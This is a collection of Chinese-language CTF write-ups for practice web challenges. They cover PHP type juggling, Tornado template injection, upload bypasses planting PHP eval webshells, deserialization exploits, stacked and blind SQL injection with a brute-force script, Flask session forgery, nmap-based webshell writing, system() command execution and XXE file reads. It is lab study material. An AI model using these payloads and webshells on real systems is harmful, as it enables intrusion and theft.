[ACTF2020 新生赛]BackupFile
打开靶场
题目提示去寻找源文件,查看源代码并未发现有什么信息。此时去用御剑扫描一下目录,发现存在文件index.php.bak
,访问http://xxx/index.php.bak
这个文件,得到源码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
看一下不难发现是考PHP特性这种的,要求$key
为纯数字且经过invtal函数后需要与字符123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
相等,这个字符串的话它的值其实也就是123
,这里的话比较是弱比较(两个等号),这里直接输入123
,如果有部分过滤的话,也可以使用小数点绕过等来实现绕过
key=123
key=0123
key=123.7
[护网杯 2018]easy_tornado
开启靶场,
点击hints.txt
查看后发现
这里可以看见给出了一个加密的方式,应该是要用于某个参数
这里的话去看flag.txt
这里发现flag文件位置,访问一下
发现msg参数,这里报错error,结合文件题目,想到tornado模板注入(因为tornado是python的一个模板),检测注入
msg={{1*2}
被ban了,接下来我们需要简单介绍一下这个模板
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了
payload如下
msg={{handler.settings}}
得到cookie_secret
,接下来按照要求格式进行加密即可,
<?php
$cookie='a2c0f0b2-aebb-4908-892e-b976c6ddfdc6';
$file='/fllllllllllllag';
print(md5($cookie+md5($file)));
?>
赋值后得到flag
[SUCTF 2019]CheckIn
进入环境
发现是文件上传,尝试上传文件
上传php时发现回显后缀不合法,说明后缀格式中ban了php,修改为php
提示exif_imagetype:not image!
exif_imagetype:not image
表示 判断一个图片的类型(即读取一个图像的第一个字节并 检查其签名),这个时候我们可以添加魔术头GIF89a
来绕过
成功上传,但此时内容还没写,我们写个PHP一句话木马进行尝试
<?php
@eval($_POST[1]);
phpinfo();
发现<和?被ban了,这里的话需要换种方式写马,可以利用script
<script language="php">eval($_POST[1]);</script>
可以发现成功写入了,但是它是图片马,是无法直接利用的,这个时候我们注意到存在index.php
,意味着我们使用user.ini的话,可以对它产生影响,我们这里直接写一个.user.ini文件包含这个图片马,就可以实现真正的写马(.user.ini包含的东西,php文件也会包含,这就意味着木马也写入到了php文件中),但是我们这个index.php已经存在了,无法改变了,所以我们包含的.user.ini需要包含另一个图片,再让这个图片成为图片马,接下来开始写文件
先写.user.ini
,内容如下
GIF89a
auto_prepend_file=quan9i.png
接下来再写图片马,我们已经命名好名字了,即quan9i.png
写马
GIF89a
<script language="php">eval($_POST[1]);</script>
蚁剑连接
成功getshell
源码为
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>
</html>
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
可以看到就是这几个点
1、后缀不能有ph和htacess
2、内容不能有<和?
3、检验了文件头
[ZJCTF 2019]NiZhuanSiWei
源码如下
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
首个过滤点
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
这是要求$text
非空且$text
中的内容为welcome to the zjctf
,file_get_contents
函数是包含文件的,如果直接写这个字符串的话肯定是不行的,但文件允许是URL
格式的,我们这里可以利用伪协议,来使得读取内容为welcome to the zjctf
,伪协议的话,这里可以使用data
伪协议,或者PHP://input
伪协议,接下来分别说一下payload
data伪协议
text=data://text/plain,welcome to the zjctf
php://input伪协议(这个最好用bp发包,因为hackbarPOST上传数据可能出现问题,有时候会传不上去)
text=php://input
POST:
welcome to the zjctf
接下来再看第二个点,也就是
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
当$file
中不涉及flag
关键词时,就会包含$file
变量,它提示了useless.php,如果直接包含一个php文件的话,是不会输出文件内容的,那我们想要查看一个文件的具体内容的话,这里可以借助php://filter
伪协议来查看文件内容,构造payload如下
file=php://filter/read=convert.base64-encode/resource=useless.php
对源码进行base64解码得到
<?php
class Flag{ //flag.php
public $file="";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
简单的反序列化,涉及了__tostring
魔术方法,这个方法是对象被当做字符串时调用,具体的魔术方法介绍可以看我的这篇文章
零基础入门PHP反序列化
我们可以看到一开始的源码中有这样两行代码
$password = unserialize($password);
echo $password;
当给password赋值为序列化的对象时,echo这个对象,就是把它当做了字符串,此时就会调用魔术方法__tostring
,因此这个魔术方法必定会调用,我们此时看一下魔术方法里的语句,发现它echo file_get_contents($this->file);
,此时若file为flag.php
,就可以读取文件,因此我们构造EXP如下
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
得到序列化的对象
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
赋值给password
即可
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码
说一下这里为什么file为useless.php
,因此此时文件包含了那个反序列化的类,如果没有它,后面无法进行反序列化
[GYCTF2020]Blacklist
进入界面,一个输入框,有亿点像强网杯随便注
那道题,接着开始尝试注入
首先,检测注入方式
1'
一眼DJ,单引号包裹
接下来试试堆叠注入
1';show tables;
成功得到数据表,说明存在堆叠注入
[HCTF 2018]admin
打开环境
发现登录和注册界面,随便注册一个试一下
登录一下
养成好习惯,到一个新界面后看一手源代码
这里提示这个账号不是admin,可能是某种提示,先记下
刚刚发现有三个其他界面,挨个查看一下
post界面
发现是类似留言板的,看源代码后未发现有什么提示,接下来先往下看
在change这里发现是更改密码的
看一下源代码
发现提示
https://github.com/woadsl1234/hctf_flask/
这里给出了源码
访问后下载得到源码
在源码的templates
中的index.html
发现这样两行代码
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
这里的话不难看出其含义就是当session中的name值为admin
时就输出flag,Flask的Session是存在于Cookie中的,具体可以看P神的文章
https://www.leavesongs.com/PENETRATION/client-session-security.html
因此这里的话我们本地是可以拿到这个Session的
内容如下
.eJw9UE2LwjAQ_SvLnD1YrRfBg5IqLswUl2iYuYjbrZq0caEqtRH_-2YVvL2ZB-_rDtt9U56PML4017IHW_sD4zt8fMMY2H06UlVKblaRmlk0PCRXBBzgDTWPyFU3MhGHYihGnHipUG-8eLLs6ogPrZhVn8O6E7Wx6IoBm6xjz0m8j7nhNF9wR6G24oqW3TL-p6mYuZVFNhKdDVHNba7mR3Lcij6kqDHJdcyipqN_7uWxnMCjB8W52W8vv1V5eleIUepcL6OtOFqIZ7_uo5vGGlRTWLUYsIvWHXpMKGxqUlmXryZPOet3h_Kt9KXE79oXc9r5SMAAenA9l81zM0gSePwBn-9soQ.YyRmrw.59RqrMjivi29xbtCXS-Q6F9aqvc
Session解密脚本如下
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(".eJw9UE2LwjAQ_SvLnD1YrRfBg5IqLswUl2iYuYjbrZq0caEqtRH_-2YVvL2ZB-_rDtt9U56PML4017IHW_sD4zt8fMMY2H06UlVKblaRmlk0PCRXBBzgDTWPyFU3MhGHYihGnHipUG-8eLLs6ogPrZhVn8O6E7Wx6IoBm6xjz0m8j7nhNF9wR6G24oqW3TL-p6mYuZVFNhKdDVHNba7mR3Lcij6kqDHJdcyipqN_7uWxnMCjB8W52W8vv1V5eleIUepcL6OtOFqIZ7_uo5vGGlRTWLUYsIvWHXpMKGxqUlmXryZPOet3h_Kt9KXE79oXc9r5SMAAenA9l81zM0gSePwBn-9soQ.YyRmrw.59RqrMjivi29xbtCXS-Q6F9aqvc".encode()))
得到解密结果
{'_fresh': True, '_id': b'b2c49860d40b1f76733c11696915c1377efcffd15ffcbb9d180ed4c52d5b276aa2bf5d5a9f88f279bf70b25d08eabda9e1701b81a660e8813590b00901b180eb', 'csrf_token': b'fce926afc4ffbe420763e740332f722c575e4129', 'image': b'D6fk', 'name': '2', 'user_id': '11'}
这里我们将name修改为admin
{'_fresh': True, '_id': b'b2c49860d40b1f76733c11696915c1377efcffd15ffcbb9d180ed4c52d5b276aa2bf5d5a9f88f279bf70b25d08eabda9e1701b81a660e8813590b00901b180eb', 'csrf_token': b'fce926afc4ffbe420763e740332f722c575e4129', 'image': b'D6fk', 'name': 'admin', 'user_id': '11'}
按理说再加密,放进去就可以得到flag
这里的话我们可以利用一个工具来进行加密
https://github.com/noraj/flask-session-cookie-manager
安装很简单,在该目录下打开cmd,然后
python setup.py install
但是此时加密的话还需要一个SECRET_KEY
,我们去给的源码中寻找一下
最终在templates
下的config.py
文件中发现这样一行代码
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
因此尝试用ckj123
来加密
python flask_session_cookie_manager3.py encode -s "ckj123" -t"{'_fresh': True, '_id': b'b2c49860d40b1f76733c11696915c1377efcffd15ffcbb9d180ed4c52d5b276aa2bf5d5a9f88f279bf70b25d08eabda9e1701b81a660e8813590b00901b180eb', 'csrf_token': b'fce926afc4ffbe420763e740332f722c575e4129', 'image': b'D6fk', 'name': 'admin', 'user_id': '11'}"
得到密文
.eJw9UE2LwjAQ_SvLnD1YbS-CByVVXJgpLtGQuUit1SZtXKhKbcT_vlkFb2_mwft6wO7YlpcKJtf2Vg5gZw4wecDXHiag7bclUcdk5zWJuUGlx2QLjyO8o9QJ2fpOKmBfjFmxZcc1yq1jR0bbJuBTx2o91H7Ts9gatMVIq7TXTkfhrjKl42ype_KNYVt02q7CfxazWhhepgnLdIxiYTKxqMjqjuUpRolRJkMWMUv-ubfHagrPARSX9ri7_tbl-VMhRGkyuQq2bGnJTrvNEO0s1KCG_LpDj32w7tFhRH7bkEj7bD19yRmXn8qP0o9gl3dv5py7QEB-cOYMA7hdyva1G0QRPP8AY3JueA.YyRuCQ.Z5eOPh8G68-9luspynCcTNgomBU
此时去网站下修改session,接下来再次访问index界面
[MRCTF2020]套娃
进入环境
没发现什么东西,看一眼源代码
注释代码如下
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
可以看见这里的要求是不能够出现_
,但想进入下一关的要求是传入变量b_u_p_t
,且其值不能23333
,同时要求匹配到变量中匹配到23333
这里需要扩充一下知识点,就是当PHP
解析字符串的时候,会把字符串转换为有效的变量名,就会做出以下两件事
1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)
具体的可以看这位大师傅的文章
https://blog.csdn.net/qq_45521281/article/details/105871192
因此我们这里绕过变量名的话,就可以通过空格来实现,而绕过23333,可以通过换行符来实现,因此构造payload如下
b%20u%20p%20t=23333%0a
访问这个secrettw.php
文件,内容如下
Flag is here~But how to get it?Local access only!
Sorry,you don't have permission! Your ip is :sorry,this way is banned!
伪造X-Forwarded-For
即可
接下来发现没变化,看一眼源代码
直接放控制台运行一下
注:学习过后了解到这是jsfuck
编码,相关文章可参考
https://github.com/aemkei/jsfuck
https://blog.csdn.net/qq_36539075/article/details/79946099
在线解密工具
http://www.jsfuck.com/
接下来它要求我们POST传值,我们传一下
源代码如下
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
发现这个change函数是自己写的算法,那我们直接写个反过来的change,就可以达到想访问的文件
<?php
function change($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr(ord($v[$i])-$i*2);
}
$re = base64_encode($re);
return $re;
}
$flag= change('flag.php');
echo $flag;
?>
得到ZmpdYSZmXGI=
它还要求是127.0.0.1和file_get_contents($_GET['2333']) === 'todat is a happy day'
,前者用Client-ip
绕过,后者用伪协议,最终payload为
2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
[BJDCTF2020]The mystery of ip
在flag处发现伪造XFF可以控制上面的内容
想到SSTI注入,尝试{{1*2}}
,发现回显的是2,说明确实存在SSTi,尝试平常使用的姿势
{{"".__class__}}
但发现存在报错,无奈学习一下其他师傅的姿势,发现原来SSTI还可以这么用(之前学的确实是肤浅了,现在想想能够解析语句的话,语句执行应该也是不成问题的)
{{phpinfo()}}
{{system("cat /flag")}}
得到flag
[CISCN2019 华北赛区 Day2 Web1]Hack World
进入环境
发现给出了表名和列名,fuzz一下发现过滤了很多
注释符什么的都不可用,同时自己测试后发现过滤了空格,我们可以用空格来代替,这里既然已知表名和列名,我们就只需要爆破字段信息即可,考虑用布尔盲注,payload如下
id=if(ascii(substr((select(flag)from(flag)),2,1))>100,1,2)
写个脚本
import requests
url="http://25818b33-27bb-49d5-81e6-346512adcf8d.node4.buuoj.cn:81/index.php"
flag=""
for i in range(1,50):
for j in range(32,127):
payload = "if(ascii(substr((select(flag)from(flag)),{},1))={},1,2)".format(i,j)
data={
"id":payload
}
response = requests.post(url,data=data)
r= response.text
if "Hello" in r:
flag += chr(j)
print(flag)
break
[SUCTF 2019]CheckIn
进入界面是上传文件的
发现只接受图片文件,这里想到两个办法
1、写一个.htaccess文件,将jpg文件以php文件解析(只适用于Apache)
2、如果存在index.php文件,写个.user.ini包含一个1.txt文件,在1.txt文件中写马
但这里后来才发现
它这里是Nginx
,而非Apache
因此采用.user.ini
抓包传文件
接下来上传txt
发现过滤了<?
,还好,我们可以用另一种写马方式
<script language="php">@eval($_POST[1]);</script>
访问给出的路径蚁剑连接
# [GYCTF2020]Blacklist
进入环境
先检测一下闭合方式
单引号包裹,尝试闭合
查询字段数
字段数为2
尝试联合查询
发现ban了一些函数,具体如下
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
这里的话我们就可以需要更换其他注入方式了,尝试一下堆叠注入。
接下来看一下字段
发现flag,但show
是无法查看字段信息的,这个时候的话可以用预编译,即
#set是设置一个新列
#prepare是进行定义一个语句
#execute是执行
-1';concat('se','t') @sql = concat('se','lect * from `466c616748657265`;);concat('pre','pare' stmt from @sql;);EXECUTE stmt;#
但发现这里过滤了select
和prepare
以及set
,同时添加了i
过滤了大小写,这里感觉可以用concat来绕过,但是不知道为啥界面空白,因此我们换一种方法,用handler
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够
一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。
它是mysql专用的语句,并没有包含到SQL标准中。
执行语句示例如下
handler `表名` open;
handler `表名` read first(next);
handler `表名` close;
这里的话就是
-1';handler `FlagHere` open;handler `FlagHere` read first;handler `FlagHere` close;
[网鼎杯 2020 青龙组]AreUSerialz
源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
简单看一下代码,其思路大致如下
1、给变量赋值,开始进入类中
1、__constuct->process(),但是这个里面局部变量限制了值,我们无法控制,因此往后看
2、结束时调用__destruct,指向process(),可控,但这个有条件,需要绕过(op=2是强比较,我们传string的2就可以绕过)
2、当op为2时,指向->read()
3、file_get_contents($filename) //读取某个文件,我们这时候只需要控制$filename即可读取文件,用伪协议即可
思路相对来说是比较简单的,但这里需要注意一点,就是所传参数经过了is_valid
函数,具体如下
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
它要求参数中的每个字符的ascii码介于32和125之间
我们直接传参的话,我们会发现这里是protected $op
,对于protected
和private
的变量,在序列化后均会生成不可见字符,即%00*%00
字符,这个%00
字符的Ascii码值为0,这就不符合函数要求了,因此我们这里需要绕过一下,可以把它从protected
改为public
<?php
class FileHandler {
public $op="2";
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
//$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
//$this->process();
}
}
$a=new FileHandler();
echo serialize($a);
base64解码后得到
<?php $flag='flag{227fc417-d1e9-42a8-bcc1-5be5bc971e9a}';
[RoarCTF 2019]Easy Java
弱密码admin/admin888
进入后台,在登录处发现help
链接,点击后发现
发现这里是get传参,然后我们这里尝试post传参
得到文件help.docx
,打开后
这里想到文件泄露,查看是否存在WEB-INF/web.xml泄露
读取WEB-INF/classes/com/wm/ctf/FlagController.class
发现Base64加密的字符串,对其进行解密
得到flagflag{52883b7a-a9df-4289-9dfb-6b6f7eb2297c}
对于文件泄露,可以参考这篇文章
https://blog.csdn.net/wy_97/article/details/78165051
[BUUCTF 2018]Online Tool
源码如下
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
这里的话主要考点在于函数escapeshellarg
和escapeshellcmd
以及nmap
的使用,接下来我们借Seebug
的例子来看下这两个函数
1、传入的参数是:172.17.0.2' -v -d a=1
2、经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3、经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
4、最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
举个简单例子
'whoami'
''\''whoami'\'''
''\\''whoami'\\'''
此时就绕过了单引号,突破了限制
我们这里知道nmap可以写入文件,所以我们写入木马文件
'<?php @eval($_POST["hack"]);?> -oG 1.php '
'\'<?php @eval($_POST["hack"]);?> -oG 1.php \''
'\\'<?php @eval($_POST["hack"]);?> -oG 1.php \\''
最终payload
'<?php @eval($_POST["a"]);?> -oG 1.php '
使用蚁剑连接对应文件
查看flag
[网鼎杯 2020 朱雀组]phpweb
一眼顶真,应该是用了call_user_func函数,这里直接执行命令
有过滤,在Linux中加\
是不影响的,示例
所以这里直接加\
绕
没找到flag,直接find查
func=\system&p=find / -name flag*
最后一个文件疑似flag文件,读一下
法二
也可以读取源码,命令如下
func=highlight_file&p=index.php
得到源码如下
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
这里可以对他进行一个反序列化,构造Exp如下
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
$pop=new Test();
$pop->func='system';
$pop->p='cat /tmp/f*';
echo urlencode(serialize($pop));
?>
[BSidesCF 2020]Had a bad day
这里出现两个选项
选一个后发现有附加参数
尝试文件包含,读取源码
index.php?category=php://filter/convert.base64-encode/resource=index
源码如下
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
这里需要有三者之一,随便写一个,然后用../
回到上个目录,查看flag即可
index.php?category=php://filter/read=convert.base64-encode/resource=meowers/../flag
[GWCTF 2019]我有一个数据库
考察CVE-2018-12613,文章参见
https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
这里主要是二次编码进行一个绕过,然后构造payload
phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag
[BJDCTF2020]Mark loves cat
界面看起来是博客,找不到什么东西,用dirsearch扫
python3 dirsearch.py -u "http://4ce35270-ec0f-4998-8b82-08d6f47e8db4.node4.buuoj.cn" -e --timeout=2 -t 1 -x 400,403,404,500,503,429
.git
文件泄露,用GitHack
扫描
得到两个php文本,但本地未出现,看了看有师傅说是buu的问题,这里直接看源码了,flag.php
里面放的flag,index.php源码如下
<?php
include 'flag.php';
print_r($flag);
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
变量覆盖,后面三个if对应三种解法,这里用$yds
,这个比较简单,看一下他的语句
!isset($_GET['flag']) && !isset($_POST['flag'])
GET不传flag
且POST不传flag
变量就输出$yds
,我们如果让$yds
=$flag
,此时就可以输出flag
,因为是GET传参,所以看这串代码
foreach($_GET as $x => $y){
$$x = $$y;
}
明显,这里进行了一个变量覆盖,比如我们这里赋值$a=1
,则
$x=a;$y=1
$$y=$1;
$$x=$1;
所以当我们传值$yds=flag
时,它就是
$x=yds;$y=flag;
$$y=xxx(flag的内容,此时的$$y就是$flag);
$$z=xxx
所以直接GET传$yds=flag
同理,其他不再讲,这里给出payload
$handsome: GET传 handsome=flag&flag=handsome
$is: GET 传 is=flag&flag=flag
[NCTF2019]Fake XML cookbook
登录框,输入参数抓包
疑似存在XXE,加一个引用字符看下
确实存在,接下来尝试读取flag文件
<!DOCTYPE user [
<!ENTITY quan9i SYSTEM "file:///flag">
]>
<user>
<username>
&quan9i;
</username>
<password>
1
</password>
</user>
[安洵杯 2019]easy_web
进入环境,发现参数
img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd[]=1
简单分析过后发现是二次base64编码+一次16进制编码,因此我们这里修改内容为index.php,先进行16进制编码,再进行两次base64编码,即
index.php
696e6465782e706870
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
此时赋值给img,然后看到src的参数,base64解码后得源码,源码为
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
重点看后半段,两个条件,一是绕过过滤,另一个是满足md5强碰撞,对于绕过过滤,我们这里直接用\
来绕过,因为l\s=ls
,然后第二个强碰撞的话,这里需要介绍一个工具
http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
他可以得到两个相同的md5数值且数字略有不同,具体可以看这篇文章
https://xz.aliyun.com/t/2232
